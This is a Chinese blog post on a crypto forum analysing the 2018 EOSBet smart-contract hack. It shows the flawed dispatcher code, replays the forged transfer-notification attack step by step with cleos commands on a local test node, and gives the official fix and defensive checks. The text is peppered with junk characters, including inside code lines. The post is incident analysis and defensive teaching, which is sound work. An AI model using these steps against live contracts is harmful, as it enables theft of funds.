Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成- A- ^: G# @/ k2 }% {, q. K0 P
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis1 E. D& ?% B- W$ ~
0x00 背景
. x$ W. S7 N, z! {EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
1 `# @, T$ ?" w" v+ _2 d# _! y& k' [/ ]# V  Y- @
0x01 技术分析( i* ?. F  d/ s4 b
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI: H" X/ c" k0 x1 W7 k
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers: u$ V2 Q( d* e# Y: Q$ l5 |
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \* S5 I% o/ D! X; z# x( M  S) X
extern "C" { \
4 C6 e) t; M* z: \  _        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \2 K1 P+ v' [& X, y7 ~* m, E3 }: Z
                auto self = receiver; \
- G5 |% z+ l. p6 I; S                if( action == N(onerror)) { \
2 h. c/ n: k( ?* n                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
! y7 ^+ p3 d2 n3 x. ?                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
8 \( y5 x# e' e7 R, M* a3 W+ B                } \
$ R, ^; f0 m/ T: T9 t2 y) j                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \9 j* o+ s1 V( O1 _  V4 L0 g
                        TYPE thiscontract( self ); \& ^' U# j. {3 L+ S( C8 ^% n
                        switch( action ) { \7 f0 A4 t; ~1 X' o9 Z
                                EOSIO_API( TYPE, MEMBERS ) \
0 d" }7 ?* T! D8 t0 a                        } \, m0 R# i& @. A# ^! h
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
- W  }9 ]$ {! V                } \4 _. z6 h# G0 [/ H
        } \
6 n/ [& e* D* `; @; o' z( u8 U# x}" l/ c! k7 x! G* j
通过官方给出的EOSIO_ABI,问题主要出在以下代码0 q9 u( C6 Z2 h! x
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \8 j4 b  @1 I- ~. P  Z
                        TYPE thiscontract( self ); \( y! s& L% u0 v- ]3 K8 }2 g3 w6 u
                        switch( action ) { \3 i; S5 p+ a: g6 E% C. N
                                EOSIO_API( TYPE, MEMBERS ) \0 a$ t7 w" _6 P& d/ `* Y0 j
                        } \
; |$ b. Q$ B' l/ ^; [( \                }
" t' N( S# o* p% K' Z& \该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。# Z8 S5 x, w/ N' i6 q5 X+ Q; v
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
1 Y) }# M8 M# l$ v/ g黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
) g4 q$ U5 z5 m- P8 k0x02 攻击复盘
6 V' i* \3 P1 S# g创建eosio.token账户
- P* X0 X4 u! ]% b* q& q1 H' tcleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
* f6 o* y8 n. P; J部署eosio.token合约并初始化. F* y' g- k: B9 `5 ~% I
# 部署合约. A9 J+ F) o& ]! P4 d6 g
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio# }2 s( o8 F2 @( p
# 初始化合约; B3 \' j7 J' W2 _0 L, t7 e. Q
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token  G& }8 J; r$ y, E1 m
创建游戏账户、开奖账户和攻击者账户7 I" h; R- |) i! h0 {
#创建游戏账户和开奖账户& F% F9 F% S% x
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk, ?6 w+ q" G: F8 C
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
' c6 M) B/ P4 C* E0 \; ^  i#创建攻击者账户) Q, x7 y& l+ j/ i* v
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk; r7 W8 y6 ?0 v. i0 E% b7 e& Y1 Y! R7 j6 M
设置账户随机权限和开奖权限2 _  S+ r' G3 M) ~) E% ^
#设置权限
2 _9 x6 k2 {7 w! n/ Lcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
$ C! ]1 B4 I* o. ?2 n- ~8 ecleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner  d" r! N/ O/ T; k+ S& Z0 b
#设置开奖权限
: V! q# {0 k: N6 Y  u0 a" j, ]# ?cleos set action permission eosbetcasino eosbetdice11 resolvebet random6 t+ B1 |' @4 Z
向相关账户冲入代币
. D, _5 c& W# G, S5 o6 R#往相关账户充值* j' B8 S, \- q* Y' z4 u  D4 Z
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active4 h/ A* _+ M1 A. e. |' e
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
4 {. t; s$ F) C5 V' K7 q+ G![4.png]()
1 n# B/ R; \  E/ j部署游戏合约并初始化: ~. M; `! g5 l8 ^7 A/ h
#部署游戏合约& c* z. G0 e+ I8 ?  a  O3 [
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
; L+ [' q( [5 h: N4 N#初始化游戏合约
! x+ g- N2 j; g! o9 tcleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
1 J5 K- n, w4 D$ ^模拟黑客攻击(伪造转账通知)
0 s1 }6 s' @6 tcleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker5 n& a$ S' W/ [& ?; g
查询游戏订单
* [3 y7 _* c# `. scleos get table eosbetdice11 eosbetdice11 activebets
) H  D; U9 ^8 \/ `3 k0 v, T; N* z8 s: B  s
可见,游戏订单已经生成,查询attacker和eosbetdice11账户! x9 b/ `' w' D; L0 o
0 ?  O6 \; e: p' b& }5 h; r) R2 b
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
3 O, {7 D" ?$ V最后对该订单进行开奖。( O( R4 |* ^3 U1 s
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
, W' D3 V$ ]) U  ~9 d- ^$ ]( @; o% f8 S
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。# C6 k+ [" f: `# B3 b
0x03 后记
# j' _; I, \2 n5 wEOSBet随后将修复方案公开
, j8 L% v  ]" s% g* m- D// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
+ C4 i+ a0 K% `4 _; i9 ?" F" J1 x#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
+ Z3 d% A5 t# P: ]' N. K3 Bextern "C" { \
8 d, `4 m" F3 T) _: R( Y        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \- n2 r/ M1 s  n7 t" y
                auto self = receiver; \) S# p# c+ ]- b8 X8 j: f  R6 b
                if( code == self || code == N(eosio.token)) { \
0 D' C- E, l; Y/ `2 _                        if( action == N(transfer)){ \: p3 i4 g  J! M$ G0 k. _; i$ |& U8 Q- w
                                // 必须是eosio.token来调用合约自身的transfer函数7 x2 x& }5 Y. @. |1 `+ E! b
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \& n. i+ K# o5 Q# L$ o
                        } \( D3 `0 @5 R7 X, O9 M4 w) ?4 J  T
                        TYPE thiscontract( self ); \+ k2 ?' g+ d) y! t5 w
                        switch( action ) { \
0 c: y) c/ I; o                                EOSIO_API( TYPE, MEMBERS ) \" l- z+ J) L3 n+ ^
                        } \8 b: u: w$ Z$ ?$ N8 t+ e' l
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
) x* H' Q5 I. G8 x, t# A                } \, G8 A! t1 B9 V+ X, Q; a; a& k
        } \
$ L% d5 M4 y) `" k2 N}
* S" Q4 O; n* C  I8 t! L$ G可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D$ @: e2 T9 o7 _% ]' t& ~
0x04 修复方案
4 W, J3 o: r& q- U6 w9 h8 D零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:! K. s; Y0 _1 f- ?9 a8 h0 u

* x9 a4 C/ p3 O/ {, ^" V/ N8 Q- U通知是否来自eosio.token,即只处理eosio.token发送的通知  E& S3 m& g% T
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");5 _+ \* o1 t2 m7 G1 l

3 S: d2 n  D0 P% T( J& m) o转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知" J& a2 N5 m( w3 g2 B" K  {! k* `
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10